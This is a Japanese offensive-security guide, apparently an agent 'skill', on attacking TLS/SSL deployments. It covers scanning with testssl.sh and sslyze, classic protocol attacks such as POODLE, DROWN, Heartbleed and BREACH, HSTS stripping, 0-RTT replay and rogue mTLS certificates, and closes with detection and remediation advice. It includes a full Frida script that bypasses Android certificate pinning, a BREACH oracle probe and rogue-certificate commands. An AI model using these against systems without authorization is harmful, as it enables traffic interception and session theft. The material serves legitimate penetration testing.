offensive-tls-attacks

TLS/SSL 攻撃と設定ミスの悪用

対象インフラストラクチャに対して、TLS/SSL の攻撃的な分析を行っています。このスキルでは、トランスポート層セキュリティの攻撃対象領域全体を扱います。プロトコルレベルの暗号学的な弱点から、実装上のバグ、証明書検証の失敗、デプロイ時の設定ミスまで網羅します。すべての TLS ハンドシェイクを列挙の機会と捉え、すべての証明書チェーンを調査すべき信頼境界として扱います。

クイックワークフロー

1. 対象の TLS 設定を列挙します。対応プロトコル、暗号スイート、証明書チェーン、拡張機能を確認します。
2. 非推奨のプロトコル（SSLv2、SSLv3、TLS 1.0、TLS 1.1）と、弱い暗号スイート（export、NULL、RC4、DES、3DES）を特定します。
3. 既知のプロトコル脆弱性（POODLE、DROWN、FREAK、BEAST、Heartbleed）を確認します。
4. 圧縮オラクルへの露出をテストします。TLS 層の CRIME と HTTP 層の BREACH を確認します。
5. 証明書の処理を検証します。チェーン検証、ホスト名の照合、ピンニングの適用、失効確認を確認します。
6. TLS 1.3 の機能を評価します。0-RTT リプレイ、ダウングレードセンチネルの有無、対応グループを確認します。
7. モバイルの対象では、証明書ピンニングを回避してトラフィックを傍受します。
8. プロトコルの証拠と修正の優先度を添えて、調査結果を記録します。

---

TLS の列挙とスキャン

TLS の調査では、まず包括的な列挙を行います。主なツールとして testssl.sh を使用します。bash と OpenSSL 以外の依存関係が不要で、プロトコル、暗号、脆弱性、証明書の詳細を網羅した出力が得られます。

# Full scan with all checks, output to JSON and HTML
testssl.sh --jsonfile results.json --htmlfile results.html \
  --ip one --sneaky --warnings batch \
  target.com:443

# Quick protocol and cipher check
testssl.sh --protocols --ciphers target.com:443

# Check only for specific vulnerabilities
testssl.sh --heartbleed --ccs-injection --ticketbleed \
  --robot --poodle --beast --crime --breach --drown --freak \
  --logjam --sweet32 target.com:443

# Scan multiple targets from a file
testssl.sh --file targets.txt --parallel 10 --jsonfile bulk_results.json

Python との統合スキャンや CI/CD パイプラインへの統合には、sslyze を使用します。

# Standard scan with all plugins
sslyze --regular target.com

# JSON output for programmatic processing
sslyze --json_out results.json target.com

# Check specific vulnerability classes
sslyze --heartbleed --openssl_ccs --robot target.com

# Scan with client certificate authentication
sslyze --cert /path/to/client.pem --key /path/to/client.key target.com

高速な暗号列挙には sslscan を、大規模な対象への高速なプロービングには tlsx を使用します。

# sslscan quick enumeration
sslscan --no-fallback target.com:443

# tlsx high-speed probing across many hosts
cat hosts.txt | tlsx -p 443,8443,9443 -json -o tls_results.json

# tlsx specific checks
cat hosts.txt | tlsx -san -cn -so -json  # Extract SANs, CNs, server orgs
cat hosts.txt | tlsx -tls-version tls10   # Find hosts still accepting TLS 1.0
cat hosts.txt | tlsx -expired -self-signed -mismatched  # Certificate issues

---

プロトコルのダウングレード攻撃

プロトコルのダウングレード攻撃は、既知の脆弱性を持つ弱いプロトコルバージョンで TLS 接続がネゴシエートされるよう強制します。これらの攻撃は、TLS に組み込まれた後方互換性のあるフォールバック機構を悪用します。

**POODLE（CVE-2014-3566）**は、SSLv3 CBC モードの非決定的なパディングを悪用します。TLS とは異なり、SSLv3 ではパディングバイトの値が規定されておらず、受信側もその値を検証しません。重要なのはパディング長を示すバイトだけです。そのため、アクティブな攻撃者は平均して 256 件のリクエストごとに平文を 1 バイト復号できます。

# Check if the target supports SSLv3
testssl.sh --poodle target.com:443
openssl s_client -ssl3 -connect target.com:443

# TLS POODLE variant: check for CBC padding oracle in TLS implementations
testssl.sh --poodle target.com:443
# Look for "POODLE, TLS" in output -- indicates vulnerable TLS implementation

**DROWN（CVE-2016-0800）**は、プロトコルをまたぐ攻撃です。サーバー（または同じ RSA 鍵を共有するサーバー）のいずれかが SSLv2 に対応している場合、攻撃者は受動的に取得した TLS セッションを復号できます。この攻撃は SSLv2 の export 暗号ハンドシェイクを利用して、Bleichenbacher の RSA パディングオラクルを応用します。

# Check for SSLv2 support (direct DROWN)
testssl.sh --drown target.com:443

# Check with OpenSSL (requires a build with SSLv2 enabled)
openssl s_client -ssl2 -connect target.com:443

# General DROWN also applies when another server shares the same RSA key
# Extract the certificate and search for key reuse across infrastructure
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
  openssl x509 -noout -modulus | md5sum
# Compare this modulus hash across all servers in scope

**FREAK（CVE-2015-0204）**は、RSA 512 ビット鍵を使う RSA_EXPORT 暗号スイートへのダウングレードを強制します。この鍵は一般的なハードウェアで数時間あれば素因数分解できます。

# Check for export cipher support
testssl.sh --freak target.com:443
sslyze --openssl_ccs target.com

# Enumerate export ciphers directly
openssl s_client -cipher EXPORT -connect target.com:443
nmap --script ssl-enum-ciphers -p 443 target.com | grep -i export

---

BEAST 攻撃

BEAST（CVE-2011-3389）は、TLS 1.0 CBC モードの予測可能な IV を悪用します。TLS 1.0 では、各レコードの IV は前のレコードの最後の暗号文ブロックです。そのため、暗号文を観察できる攻撃者には IV が既知となります。選択平文を送り込める能力（ブラウザー内の JavaScript など）と組み合わせることで、標的のバイトをブロック単位で復号できます。

# Check for BEAST vulnerability
testssl.sh --beast target.com:443

# Verify TLS 1.0 with CBC ciphers is available
openssl s_client -tls1 -cipher 'AES128-SHA' -connect target.com:443

BEAST 攻撃には、攻撃者が選択平文を同じ TLS 接続に注入する必要があります（通常は、隣接するブラウザーコンテキスト内の JavaScript を介します）。最新の緩和策には、1/n-1 レコード分割（現在のすべてのブラウザーに実装済み）と、明示的な IV を使用する TLS 1.2 以降へのアップグレードがあります。

条件を確認します。openssl s_client -tls1 -cipher 'ALL:!eNULL' が何らかの CBC 暗号をネゴシエートする場合、その接続は BEAST 攻撃の対象になり得ます。サーバーの JA3S フィンガープリントと照合し、TLS 1.0 のネゴシエーションを確認します。

---

CRIME と BREACH

**CRIME（CVE-2012-4929）**は、TLS レベルの圧縮を悪用します。TLS 圧縮が有効な場合、リクエストに任意の平文を注入し、圧縮された暗号文の長さを観測できる攻撃者は、セッション Cookie などの秘密値を 1 バイトずつ復元できます。

# Check for TLS compression
testssl.sh --crime target.com:443
openssl s_client -connect target.com:443 | grep -i compression
# "Compression: NONE" means not vulnerable to CRIME

BREACHは HTTP レベルの圧縮（gzip/deflate）を悪用します。HTTP 圧縮はほぼすべての環境で有効になっているため、CRIME よりもはるかに広く見られます。この攻撃では、攻撃者が入力した値が反映された内容とともに HTTP レスポンス本文に含まれる秘密情報を復元します。

# Check for BREACH preconditions
testssl.sh --breach target.com:443

# Manual check: verify HTTP compression is enabled
curl -sI -H "Accept-Encoding: gzip, deflate" https://target.com/ | \
  grep -i content-encoding
# "Content-Encoding: gzip" combined with reflected input + secrets in body = vulnerable

import requests
import string

def breach_probe(url, known_prefix, charset=string.ascii_letters + string.digits):
    """
    BREACH oracle: measure compressed response length to recover secrets.
    Requires: HTTP compression enabled, secret in response body,
    attacker can inject chosen text that is reflected in the same response.
    """
    results = {}
    for c in charset:
        candidate = known_prefix + c
        # Inject candidate via a reflected parameter
        resp = requests.get(url, params={"search": candidate},
                          headers={"Accept-Encoding": "gzip"})
        # The response object's content is decompressed; use raw socket
        # or measure the actual wire bytes for a real attack.
        # Here we demonstrate the concept:
        results[c] = len(resp.content)

    # The correct byte compresses better (shorter response)
    best = min(results, key=results.get)
    return known_prefix + best

# BREACH mitigations: disable HTTP compression for pages containing secrets,
# add random padding to responses, use per-request CSRF tokens,
# separate secret-bearing responses from reflected-input responses

---

Heartbleed（CVE-2014-0160）

Heartbleed は、OpenSSL の TLS heartbeat 拡張機能におけるバッファーの読み取り超過です（OpenSSL 1.0.1 から 1.0.1f まで）。不正な heartbeat リクエストにより、サーバーはリクエストごとに最大 64KB のプロセスメモリを返すため、秘密鍵、セッション Cookie、認証情報、その他の機密データが漏えいする可能性があります。

# Test for Heartbleed
testssl.sh --heartbleed target.com:443
sslyze --heartbleed target.com

# Nmap script
nmap -p 443 --script ssl-heartbleed target.com

# Manual test with OpenSSL
# This requires a version of OpenSSL that supports the heartbeat extension
openssl s_client -connect target.com:443 -tlsextdebug 2>&1 | \
  grep -i heartbeat

この攻撃では、最大 16384 バイトの大きなペイロード長を申告しながら、実際のペイロードは 1 バイトしか含まない TLS heartbeat リクエストを送信します。脆弱な OpenSSL のバージョンは、申告された長さのデータをプロセスメモリから返します。リクエストごとに最大 64KB が漏えいし、リクエストを繰り返すことで、異なるメモリ領域から秘密鍵、セッショントークン、認証情報が漏えいする可能性があります。確実に検出するには、Nmap スクリプトまたは testssl.sh を使用してください。手動で悪用する場合は、既存の PoC スクリプト（heartbleed.py の各種バージョン）が、生の TLS ハンドシェイクと heartbeat のフレーミングを処理します。

---

証明書検証のバイパス

TLS 証明書を適切に検証しないアプリケーションは、通信を傍受する機会を生み出します。よくある不備には、検証の無効化、ホスト名チェックの欠如、自己署名証明書の受け入れ、不完全なチェーン検証などがあります。

# Detect applications with disabled certificate verification
# These patterns indicate vulnerable implementations:

# Python requests - disabled verification
# requests.get(url, verify=False)

# Python urllib3 - disabled warnings indicate suppressed verification
# urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Node.js - disabled TLS rejection
# process.env.NODE_TLS_REJECT_UNAUTHORIZED = "0"

# Java - TrustAllCerts pattern
# TrustManager[] trustAllCerts = new TrustManager[] {
#     new X509TrustManager() {
#         public void checkClientTrusted(...) {}
#         public void checkServerTrusted(...) {}
#     }
# };

# cURL - insecure flag
# curl -k / curl --insecure

評価では、ソースコードと設定ファイルで次のパターンを検索してください。

# Search for disabled certificate verification in codebases
grep -rn "verify=False" --include="*.py" .
grep -rn "CERT_NONE" --include="*.py" .
grep -rn "NODE_TLS_REJECT_UNAUTHORIZED" --include="*.js" .
grep -rn "InsecureTrustManagerFactory" --include="*.java" .
grep -rn "TrustAllCerts\|trustAllCerts\|ALLOW_ALL" --include="*.java" .
grep -rn "AllowAllHostnameVerifier\|NoopHostnameVerifier" --include="*.java" .
grep -rn "ServerCertificateValidationCallback" --include="*.cs" .
grep -rn "InsecureSkipVerify.*true" --include="*.go" .

---

証明書ピンニングのバイパス

証明書ピンニングを実装しているモバイルアプリケーションで通信を傍受するには、積極的なバイパス手法が必要です。実行時のインストルメンテーションには、Frida と Objection を使用してください。

# Objection: automated pinning bypass for Android and iOS
# Launch the target application with Objection
objection -g com.target.app explore

# Inside the Objection REPL:
# Disable SSL pinning (covers common pinning libraries)
android sslpinning disable
# or for iOS:
ios sslpinning disable

# Frida: custom pinning bypass scripts

# Android: bypass OkHttp CertificatePinner
frida -U -f com.target.app -l bypass_pinning.js --no-pause

# Universal Android SSL pinning bypass with Frida
frida -U -f com.target.app --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida

// bypass_pinning.js - Frida script for Android SSL pinning bypass
// Covers OkHttp, TrustManager, WebView, and common pinning libraries

Java.perform(function() {
    // Bypass OkHttp3 CertificatePinner
    try {
        var CertificatePinner = Java.use('okhttp3.CertificatePinner');
        CertificatePinner.check.overload('java.lang.String', 'java.util.List')
            .implementation = function(hostname, peerCertificates) {
            console.log('[+] OkHttp3 CertificatePinner bypassed for: ' + hostname);
            return;
        };
    } catch (e) {
        console.log('[-] OkHttp3 not found');
    }

    // Bypass custom TrustManager
    try {
        var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
        var SSLContext = Java.use('javax.net.ssl.SSLContext');

        var TrustManager = Java.registerClass({
            name: 'com.bypass.TrustManager',
            implements: [X509TrustManager],
            methods: {
                checkClientTrusted: function(chain, authType) {},
                checkServerTrusted: function(chain, authType) {},
                getAcceptedIssuers: function() { return []; }
            }
        });

        var TrustManagers = [TrustManager.$new()];
        var sslContext = SSLContext.getInstance('TLS');
        sslContext.init(null, TrustManagers, null);
        console.log('[+] Custom TrustManager installed');
    } catch (e) {
        console.log('[-] TrustManager bypass failed: ' + e);
    }

    // Bypass Android WebView SSL errors
    try {
        var WebViewClient = Java.use('android.webkit.WebViewClient');
        WebViewClient.onReceivedSslError.implementation = function(view, handler, error) {
            console.log('[+] WebView SSL error bypassed');
            handler.proceed();
        };
    } catch (e) {
        console.log('[-] WebViewClient bypass not applicable');
    }
});

# For rooted Android devices: install a system CA certificate
# Convert your proxy CA to Android format
openssl x509 -inform PEM -subject_hash_old -in proxy_ca.pem | head -1
# Rename to <hash>.0
cp proxy_ca.pem 9a5ba575.0
adb push 9a5ba575.0 /system/etc/security/cacerts/
adb shell chmod 644 /system/etc/security/cacerts/9a5ba575.0

---

HSTS のバイパスと TLS ストリッピング

HSTS は HTTPS から HTTP へのダウングレードを防ぎますが、初回接続時と適用範囲に固有の弱点があります。

# Check HSTS configuration
curl -sI https://target.com | grep -i strict-transport-security

# Verify HSTS preload status
# Check https://hstspreload.org/?domain=target.com

# sslstrip2 (Leonardo Nve's HSTS bypass) works by:
# 1. Stripping HTTPS links on first visit (before HSTS is cached)
# 2. Replacing domains with similar subdomains not covered by HSTS
# 3. Proxying the real HTTPS connection on the attacker side

# mitmproxy with sslstrip mode
mitmproxy --mode transparent --ssl-insecure --set block_global=false

HSTS のバイパス方法：

• 初回アクセス：HSTS は初回使用時に信頼する方式です。ユーザーがそのサイトに一度もアクセスしたことがなく、サイトがプリロードリストに登録されていない場合、最初の HTTP リクエストを傍受できます。
• サブドメインの適用範囲：includeSubDomains が設定されていないことがよくあります。target.com に HSTS が設定されていても、http://sub.target.com を使って攻撃できます。
• NTP 操作：HSTS エントリーには有効期限があります。クライアントの時計を（ローカルネットワーク上での NTP スプーフィングによって）操作できる場合、キャッシュされた HSTS ポリシーを期限切れにできます。
• プライベートブラウジング：ブラウザーによっては、プライベートブラウジングのセッションをまたいで HSTS を保持しません。

---

TLS 1.3 -- 0-RTT リプレイ

TLS 1.3 は従来の攻撃のほとんどを排除しますが、リプレイ保護が明示的に適用されない 0-RTT（Early Data）を導入しています、べき等でない操作に対して 0-RTT データを受け入れるサーバーは、リプレイ攻撃に対して脆弱です。

# Check if the server accepts 0-RTT early data
openssl s_client -connect target.com:443 -tls1_3 -sess_out session.pem
openssl s_client -connect target.com:443 -tls1_3 -sess_in session.pem \
  -early_data request.txt

# testssl.sh checks for 0-RTT
testssl.sh --grease target.com:443

上記の 2 段階の openssl テストで確実に判定できます。2 回目の接続が成功し、サーバーが early data ファイルを処理した場合、0-RTT は受け入れられています。正規の接続から ClientHello と early data を取得したネットワーク攻撃者は、それらをそのまま再送できます。リプレイによって実質的な影響が生じる、資金移動、アカウントの変更、注文の送信などのべき等でないエンドポイントを標的にします。サーバーは RFC 8446 Section 8 に従ってリプレイ対策を実装するか、状態を変更する操作では 0-RTT を全面的に拒否する必要があります。

---

mTLS 攻撃

相互 TLS 認証では、クライアント証明書の取り扱いに関する攻撃対象領域がさらに広がります。

# Enumerate mTLS requirements
openssl s_client -connect target.com:443 2>&1 | grep -A5 "Acceptable client"

# Test with a stolen or self-signed client certificate
openssl s_client -connect target.com:443 \
  -cert client.pem -key client.key -CAfile ca.pem

# Generate a rogue client certificate matching the expected CN/OU
openssl req -x509 -newkey rsa:2048 -keyout rogue.key -out rogue.pem \
  -days 365 -nodes \
  -subj "/CN=legitimate-service/O=Target Corp/OU=Engineering"

# Check if the server validates the issuing CA or just the certificate fields
openssl s_client -connect target.com:443 -cert rogue.pem -key rogue.key

mTLS に対する攻撃ベクトル：

• CA 検証の欠如：発行者に関係なく、サーバーがすべてのクライアント証明書を受け入れます。
• 過度に広範な CA 信頼：サーバーが、無関係な第三者にも証明書を発行している CA を信頼します。
• クライアント証明書の窃取：キーストア、環境変数、CI/CD パイプライン、コンテナーイメージからクライアント証明書を抽出します。
• 証明書のリレー：クライアント証明書のチャレンジを正規のクライアントに転送し、応答をリレーします。

---

証明書の透明性の監視

CT ログは偵察の宝庫です。信頼された公開証明書はすべて記録されるため、サブドメイン、内部ホスト名、インフラストラクチャの変更が明らかになります。

# Query CT logs via crt.sh
curl -s "https://crt.sh/?q=%25.target.com&output=json" | \
  python3 -c "
import json, sys
data = json.load(sys.stdin)
domains = set()
for entry in data:
    name = entry.get('name_value', '')
    for d in name.split('\n'):
        domains.add(d.strip())
for d in sorted(domains):
    print(d)
"

# Monitor for new certificates in real-time
# Use certstream for live CT log monitoring
pip install certstream

# certstream_monitor.py
python3 -c "
import certstream

def callback(message, context):
    if message['message_type'] == 'certificate_update':
        all_domains = message['data']['leaf_cert']['all_domains']
        for domain in all_domains:
            if 'target.com' in domain:
                print(f'New cert: {domain}')

certstream.listen_for_events(callback, url='wss://certstream.calidog.io/')
"

# Enumerate subdomains from CT logs using subfinder or amass
subfinder -d target.com -sources crtsh
amass enum -d target.com -src -ip

---

検出／防御側の視点

防御側は、TLS 攻撃の以下の兆候を監視する必要があります。

• ダウングレードの探索：最新のクライアントフィンガープリントから SSLv2、SSLv3、または TLS 1.0 を試みる接続です。最新の TLS スタックを通知するクライアントが、その後 SSLv3 にフォールバックする場合は疑わしい動きです。ClientHello の機能とネゴシエートされたバージョンの間にプロトコルバージョンの不一致があれば、ログに記録してアラートを出します。
• Heartbleed スキャン：宣言されたペイロード長が実際のペイロードより大きいハートビート要求です。不正なハートビートパターンに対する IDS シグネチャが存在します。同じ送信元からのハートビート要求が繰り返されていないか監視します。
• 圧縮オラクルの探索：同じエンドポイントに対して、パラメーターを少しずつ変えたリクエストを短時間に連続して送り、応答サイズを正確に測定します。このパターンは、BREACH または CRIME の悪用を試みていることを示します。
• 証明書ピンニングのバイパス：モバイルバックエンドでは、既知のアプリケーションビルドからの接続について、予期しない TLS クライアントフィンガープリント（JA3/JA4 ハッシュ）が提示されていないか監視します。これは、計測用ランタイムが使われていることを示します。
• 0-RTT リプレイ：アプリケーションログで、冪等でない操作の重複を監視します。サーバー側のリプレイキャッシュ（RFC 8446 Section 8 に準拠したリプレイ防止メカニズム）を実装し、状態を変更する操作では 0-RTT データを拒否します。
• CT の監視：防御側は、自組織のドメインに対して発行された不正な証明書がないか、CT ログを積極的に監視する必要があります。これにより、侵害された CA とドメイン検証攻撃の両方を検出できます。

修正の優先順位：SSLv2、SSLv3、TLS 1.0、TLS 1.1 を完全に無効化すること、すべての Export、NULL、RC4、DES、3DES 暗号スイートを削除すること、includeSubDomains と preload を指定して HSTS を導入すること、TLS 圧縮を無効化すること、優先プロトコルとして TLS 1.3 を使用すること、冪等でないエンドポイントでは 0-RTT の早期データを拒否すること、バックアップピンとレポート機能を備えた証明書ピンニングを実装すること、OCSP ステープリングを有効にすること。

---

エンゲージメント早見表

脆弱性	ツール／チェック	指標
POODLE（SSLv3）	testssl.sh --poodle	CBC 暗号スイートを使用した SSLv3 が受け入れられる
DROWN（SSLv2）	testssl.sh --drown	SSLv2 がサポートされている、または SSLv2 ホストと RSA キーを共有している
FREAK（エクスポート暗号）	testssl.sh --freak	RSA_EXPORT 暗号スイートが受け入れられる
BEAST（TLS 1.0 CBC）	testssl.sh --beast	CBC 暗号を使用した TLS 1.0 がネゴシエートされる
CRIME	testssl.sh --crime	TLS レベルの圧縮が有効になっている
BREACH	Content-Encoding: gzip + reflection	HTTP 圧縮＋シークレット＋反射された入力
Heartbleed	testssl.sh --heartbleed	ハートビート拡張を備えた OpenSSL 1.0.1 から 1.0.1f
証明書の検証	grep -rn verify=False	ソースコードで検証が無効になっている
証明書のピンニング（モバイル）	objection / Frida	ピンニングのバイパスによりプロキシでの傍受が可能になる
HSTS の欠如	curl -sI + header check	Strict-Transport-Security ヘッダーがない
0-RTT リプレイ	openssl s_client -early_data	サーバーが早期データを受け入れて処理する
mTLS の弱点	openssl s_client -cert	サーバーが不正なクライアント証明書を受け入れる

プロトコルバージョンのリスク概要：

• SSLv2：致命的に脆弱です（DROWN）。あらゆる環境で無効にする必要があります。
• SSLv3：脆弱です（POODLE）。あらゆる環境で無効にする必要があります。
• TLS 1.0：脆弱です（BEAST、RFC 8996 により非推奨）。無効にしてください。
• TLS 1.1：既知のプロトコル攻撃はありませんが、RFC 8996 により非推奨です。無効にしてください。
• TLS 1.2：適切な暗号スイート（AEAD 暗号のみ）を選択すれば安全です。
• TLS 1.3：安全です。べき等でない操作では 0-RTT リプレイに注意してください。

---

主な参考資料

• Moller, B. et al.「This POODLE Bites: Exploiting the SSL 3.0 Fallback（POODLE の噛みつき：SSL 3.0 フォールバックの悪用）」。Google Security Advisory、2014 年。
• Aviram, N. et al.「DROWN: Breaking TLS using SSLv2（DROWN：SSLv2 を使った TLS の破壊）」。USENIX Security 2016.
• Beurdouche, B. et al.「A Messy State of the Union: Taming the Composite State Machines of TLS（混沌とした状態：TLS の複合状態マシンを制御する）」。IEEE S&P 2015.
• Duong, T. and Rizzo, J.「Here Come the XOR Ninjas（XOR 忍者の登場）」。 （BEAST）Ekoparty 2011.
• Rizzo, J. and Duong, T.「The CRIME Attack（CRIME 攻撃）」。Ekoparty 2012.
• Gluck, Y. et al.「BREACH: Reviving the CRIME Attack（BREACH：CRIME 攻撃の復活）」。Black Hat USA 2013.
• CVE-2014-0160：OpenSSL Heartbleed。https://heartbleed.com
• RFC 8446：Transport Layer Security（TLS）プロトコル バージョン 1.3、第 8 節（0-RTT とリプレイ対策）。
• RFC 8996：TLS 1.0 と TLS 1.1 の非推奨化。
• CWE-295：不適切な証明書検証。
• CWE-319：機密情報の平文送信。
• CWE-757：ネゴシエーション時の安全性が低いアルゴリズムの選択。
• testssl.sh：https://testssl.sh
• sslyze：https://github.com/nabla-c0d3/sslyze
• Frida：https://frida.re
• Objection：https://github.com/sensepost/objection